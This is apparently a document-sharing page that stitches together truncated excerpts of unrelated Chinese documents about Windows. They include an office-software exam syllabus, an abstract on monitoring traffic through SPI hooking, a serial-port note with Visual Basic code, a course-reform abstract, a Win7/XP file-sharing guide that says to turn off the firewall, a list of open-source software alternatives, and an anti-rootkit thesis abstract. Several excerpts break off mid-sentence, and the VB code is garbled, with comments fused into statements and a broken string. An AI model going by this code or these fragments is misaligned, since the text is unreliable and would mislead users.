办公软件应用模块(WINDOWS平台)中级(考试大纲) 第一单元 Windows系统操作 10分 1.Windows操作系统的基本应用:进入Windows和资源管理器,建立文件夹,复制文件,重命名文件; 2.Windows操作系统的简单设置:添加字体和输入法。更改系统时间、日期,设置桌面背景、设置系统音量为静音、隐藏桌面图标。 第二单元文字录入与编辑 12分 1.新建文件:在文字处理程序中,新建文档,并以指定的文件名保存至要求的文件夹中。 2.录入文档:录入汉字、字母、标点符号和特殊符号,并具有较高的准确率和一定的速度。 3.复制粘贴:复制现有文档内容,并粘贴至指定的文档和位置; 4.查找替换:查找现有文档的指定内容,并替换为不同的内容或格式。 5.为文档设置编辑限制:仅允许在文档中填写窗体,保护密码为:*。 6.使用外部文件:插入声音文件、工作簿等。 7.转换文件格式。 第三单元格式设置与编排 12分 1.设置文档文字、字符格式:设置字体、字号,字形; 2.设置文档行、段格式:设置对齐方式、段落缩进、行距和段落间距; 3.拼写检查:利用拼写检查工具,检查并更正英文文档的错误单词; 4.设置项目符号或编号:为文档段落设置指定内容和格式的项目符号或编号。 5.设置中文版式:如加拼音等。 6.创建题注:在插图下方的图例位置创建题注。 7.创建书签。 8.创建目录:在文档首部创建目录,并设置目录格式。 第四单元表格操作 10分 1.创建表格并自动套用格式:创建一个新的表格并自动套用格式; 2.表格的行、列修改:在表格中交换行和列,插入或删除行和列,设置行高和列宽; 3.合并或拆分单元格:将表格中的单元格合并或拆分;

基于Windows平台的网络流量统计及控制系统的设计与实现

基于Windows平台的网络流量统计及控制系统的设 计与实现 夏义三 北京邮电大学信息工程学院,北京(100876) E-mail:bupt.ip@https://www.360docs.net/doc/9f5544469.html, 摘要:介绍了一种Windows平台下的针对个人微机的网络流量统计及控制系统的总体设计及各个功能模块的实现,给出了系统的架构、软硬件环境以及部分程序代码。 关键词:流量统计,流量控制,传输服务提供者 中图分类号:TP393 1. 引言 在网络管理过程中,网络流量监控是一个重要部分。有效的网络流量监控不仅能够让网络管理人员及时了解网络的运行状态,并且能够对网络出现的问题做出及时调整和排除。目前,绝大多数的网络流量监控系统都部署在一个网络的出口处,有串联和旁路两种方式,这是对全网流量进行统计和控制的常用方法。本文所讲的网络流量统计与控制系统立足于Windows平台的用户终端上,通过中央服务器进行控制,为企业网络管理员提供后台监控和保护敏感信息的手段,以便保障企业的网络运行和信息安全。本文对该系统的原理、设计进行了介绍和分析,并给出了一种切实可行的实现办法。 2. 系统的设计原理 在个人微机上实施网络流量统计与控制的方法有很多,可以在TCP/IP协议栈的多个层来实现。在各个层上实现的方法不同,实现的难度和执行情况也不同。本系统以COM技术为基础,综合运用了DOM,SPI等技术,采用插件式架构,具有低耦合,自更新的特点,适用于分布式网络。系统包括客户端和服务器两个部分,客户端实现流量统计和控制功能,服务器负责存储客户端上报的流量数据,以便管理员查询,管理员还可通过服务器下发具体的流量控制策略。 2. 1 客户端的设计原理 流量统计功能在TCP/IP协议栈的数据链路层实现,具体原理是建立一个原始套接字并将其绑定到网卡上,之后就可以通过该套接字的接收缓存获得经过网卡的数据包,从而进行流量的分析和统计工作。 流量控制功能在TCP/IP模型的应用层实现,具体原理是利用Windows系统的SPI(传输服务提供者接口)来截获上层应用程序所发的Winsock调用,Winsock调用包括WSPSocket、WSPCloseSocket、WSPBind、WSPAccept、WSPConnect、WSPSend、WSPSendTo、WSPRecv、WSPRecvFrom[1]。从这些Winsock调用中可以取得在该socket上进行发送和接收的数据,对这些数据进行分析处理,确定它们所属的业务类型及连接信息,将这些信息与从服务器端下发的流量控制策略匹配,得到控制动作,实施控制行为,从而实现流量控制的功能。

Windows平台上的串行通信简介 -电脑资料.

Windows平台上的串行通信简介 -电脑资料 2019-01-01 Windows平台上的串行通信简介 1.使用VC编程 利用VisualC++编写串行通信程序可借助于 API(ApplicationProgramInterface)函数, 。Windows9x及更高版本的通信函数为32位。涉及到串行通信的APl函数主要有以下几个: 打开通信资源(包括通信口)使用CreateFile(),通信资源被看成一个文件。该函数有7个自变量。 对通信口的设置涉及3个函数:SetupComm()使用来设置发送和接收缓冲区的大小;GetCommState()可用来获取串行通信设备控制块DCB结构的当前状态;SetCommState()用来对通信口进行自己的设置。 发送数据使用WriteFile()函数。 读接收到的数据使用ReadFile()函数。 清除通信错误并通信口当前状态使用ClearCommError()函数。 指示通信口进行某种扩充功能(如发送DTR信号)使用EscapeCommFunction()函数。 这些函数的说明可参看 VisualStudioMSDN(MicrosoftDeveloperNetwork), 《》()。 2.使用VIi编程 Visualc++3.0(VB)及以上的专业版、企业版都提供了一个通信控件,5.O 版本以后称之为MSComm。利用该控件可很方便地实现RS-232通信。 下面是一个很简单的程序示例,读者从注释中不难理解它的作用。这里假定事先已定义Comml为MSComm类型的对象。

Comml.CommPort=2指定Comml是COM2口 Comml.Settings="9600,n,8,l设置通信参数Comml.InputLen=0读取接收数据时,一次读取所有已收到的字符Comml.PortOpen=True打开COM2 Comml.DTREnable=True置DTR Comml.RTSEnable=True置RTS Comml.Output=TestCommunication发送一字符串 Do循环等待,直到接收到5个以上的字符为止 DoEvents此期间将控制权交还给Windows,以响应其他事件LoopUntilComml.InBufferCounter>=5 InString$=Comml.Input读收到的字符,赋给变量InString$

《基于windows平台网络构建》课程实践教学改革

《基于windows平台的网络构建》课程实践教学改革 摘要:该文就《基于windows平台的网络构建》课程实践教学存在的问题进行探讨,并提出改进思路与方法,提高学生运用windows平台进行网络组建和网络服务管理的职业技能。 关键词:windows平台网络构建实践教学改革 中图分类号:g420 文献标识码:a 文章编号:1674-098x(2012)12(b)-0-02 the curriculum practice teaching reform of”constructthe network base on windows platform” huangjunxian (guangdong communication polytechnic guangzhou.guangdong 510650) abstract:the problems of “construct the network base on windows platform” practice teaching discussed in this article,and the proposed improvement ideas and methods to improve the students to use the windows platform network formation and network service management vocational skills. key word:windows platform network building practice teaching reform 1 课程概况 掌握并应用windows服务系统是中小型企业从事网络建设和网络

WIN7和XP系统在局域网文件共享设置方法

WIN7/XP系统在局域网文件共享设置方法 现代家庭,多数都有2台以上电脑,我家就有两台笔记本,一台台式机。笔记本因为买得晚通常配置较高,一般装的是WIN7系统,而台式机配置因为买的早配置相对较低,一般装的是XP系统。有时候想把台式机中的文件移到笔记本上,亦或是把笔记本中的文件移到台式机上,如果文件小用个U盘也挺方便,如果是几个G或者几十个G的话你会不会觉得相当纠结?学习了本文的设置方法你就再也不需要纠结了。好了,废话少说,现在开始学习局域网中文件共享的设置方法。 Windows XP和Windows 7系统的计算机通过局域网互联时,经常出现安装Windows XP系统的计算机很难在网上邻居中找到安装Windows 7系统的计算机的情况,反之也一样。具体表现就是网上邻居中可以显示计算机名但无法访问,或者根本找不到对方的计算机。 问题分析 在访问权限方面,WIN7确实做了诸多限制,通过对WindowsXP 和Windows7操作系统的设置,可以实现Windows 7 和Windows XP系统的局域网互连互通以及文件共享。 设置前必须先要关闭系统的防火墙(Mcafee、诺顿等)。若必须使用防火墙功能,建议用户咨询一下杀毒软件公司具体的局域网的权限设置方法。

解决方案 一、WindowsXP系统的设置方法: 设置共享可能对你电脑中的资料安全有负面影响,自己要对保密、安全、共享之间作个平衡。为了提高安全性,建议使用NTFS 磁盘格式,并对隐私文件设置读写权限。 1、WIN7系统设置方法: 选择要共享的文件夹 电脑常识 右键点击文件夹属性

设置文件夹高级共享选项

Windows平台常用软件工具的开源替代方案

Windows平台常用软件工具的开源替代方案 7-ZIP替代WinZip 7-Zip是一个开放源码的数据压缩程序,主要用在Microsoft Windows操作系统,Unix-like的操作系统如Linux与FreeBSD下面有7-zip的移植版本p7zip可以使用。它提供命令行接口的程序或图形用户界面的程序,而且可以与资源管理器结合。 下载网址:https://www.360docs.net/doc/9f5544469.html,/ FileZilla 替代CuteFTP FileZilla 是一个免费的FTP 客户端软件,虽然它是免费软件,可功能却一点也不含糊,比起那些共享软件来有过之而无不及,在新的版本中作者改进了手动下载的界面和功能等,新版本已经更新支持了续传功能。 下载网址:https://www.360docs.net/doc/9f5544469.html,/ Nitro PDF Reader 替代Adobe Acrobat Nitro PDF Reader您可以创建PDF文件,评论和审查,保存PDF表格,提取文本和图像,直接键入文本到页面上,等等。 下载网址:https://www.360docs.net/doc/9f5544469.html,/download/ MySQL 替代Microsoft SQL Server MySQL是最流行的开源数据库。 下载网址:https://www.360docs.net/doc/9f5544469.html,/ OpenOffice 替代MS Office 这是一套免费的Office 软件,是国内很多所谓中文Office套件的母体。其功能大致可以替代MS的Office系统。 下载网址:https://www.360docs.net/doc/9f5544469.html,/

5款值得一试的Photoshop免费替代软件 随着数码相片大规模的替代传统胶卷相片的地位,拥有一款图像编辑软件变得越来越重要。王中之王当然是 Photoshop,不过完全版打着的699美元标签,许多人开始想要知道有没有免费的选择可以做到 Photoshop 同样的事情。 https://www.360docs.net/doc/9f5544469.html, https://www.360docs.net/doc/9f5544469.html, 是一个功能和教程丰富的软件,还有一个支持社区能够帮助大部分新用户学习中遇到的问题。https://www.360docs.net/doc/9f5544469.html, 发展于一个由微软指导的大学生高级设计项目,目的是替代微软画图板程序,现在由最初从事它开发的一些男校友来维护。它有大量的按钮非常像 Photoshop,以及很类似的功能,使得它成为那些寻求与Photoshop 相似替代程序的人们的强力候选。我敢说 Photoshop 可以做到的事情大部分都可以用 https://www.360docs.net/doc/9f5544469.html, 做到。

基于Windows平台的反Rootkit原理与实现

摘要 摘要 Windows操作系统是目前主流的操作系统,基于这个平台下的各种程序软件层出不穷,相应的木马病毒也在不断的进步。为了对抗杀毒软件,这些木马病毒企图霸占电脑主权,更进一步的扩展恶意行为。这些恶意程序往往具备对抗当今主流杀毒软件的能力,给用户带来了不可估量的损失。 研发探究这些病毒木马的原理及其行为,制作出相应的安全工具来对抗它们,显得十分必要。然而由于Windows 操作系统是不开源的,这对研究其内部的原理增加了一定的难度,制作相应的Anti-Rootkits工具也并非易事。但正是由于这些原因,使得对抗当前流行的病毒木马变得更加具有价值和挑战性。 本论文着重讨论Windows平台下主流的Rootkit技术及防御技术,并且最终将实现一个具有相对完善功能的反Rootkit软件SnowShadow。目前SnowShadow的最新版本是1.2,综合有进程、文件、注册表进程等数十项功能。本软件大量使用微软未公开技术,许多技术建立在逆向操作系统内核代码的基础之上,使用本软件有一定风险。使用本软件可以实现实现手工发现并清除Rootkit病毒,进程管理可以用于结束顽固进程,枚举隐藏进程,文件管理支持文件的暴力删除,隐藏文件的枚举,文件解锁等功能,用于清除Rootkit病毒文件,注册表一项,基于注册表文件解析的编辑器,支持注册表离线编辑(包括删除,增加修改等功能),由于不使用任何API来操作注册表,可以防止通用注册表保护手段的干扰。 关键字:Anti-Rootkit 、Rootkit、反病毒、Windows内核。 I

ABSTRACT Abstract Windows operating system is the current popular operating system. Based on this platform, there are endless variety of software and the corresponding Trojans also continue to progress. To counter the anti-virus software, these Trojans attempt to commandeer the computer's sovereignty, and further expand the malicious behavior. These malicious programs often have the capability of today's major anti-virus software, which gives users an immeasurable loss. It is extremely necessary to explore the principles and behavior of the Trojans. However, since Windows operating system is not open, it becomes more difficult for people to know its principle and to develop the related Anti-Rootkits tools. Because of these reasons, making the Trojans against the current circulating virus became more valuable and challenging. This paper focuses on the mainstream Windows platforms Rootkit technology and defense technology, and will eventually realize a relatively perfect anti-Rootkit software SnowShadow. The latest version of the current SnowShadow is 1.2, integrated with the process, file, registry, process, and dozens of functions. This software will use plenty of technology that Microsoft does not apply and many technologies are based on the operating system kernel code, thus using of this software has some https://www.360docs.net/doc/9f5544469.html,e of this software can be achieved manually find and remove Rootkit virus, process management can be used for the end of stubborn process, enumerate hidden processes, document management support for the violence to delete the file, hidden file enumeration, file unlock and other functions, used to clear Rootkit virus file, a registry-based analysis of the registry file editor, support for offline editing the registry (including delete, modify etc added), because they do not use any API to manipulate the registry to prevent common registry protection Means of interference. Keywords: Anti-Rootkit, Rootkit, Anti-Virus, Windows Kernel. II

相关文档
最新文档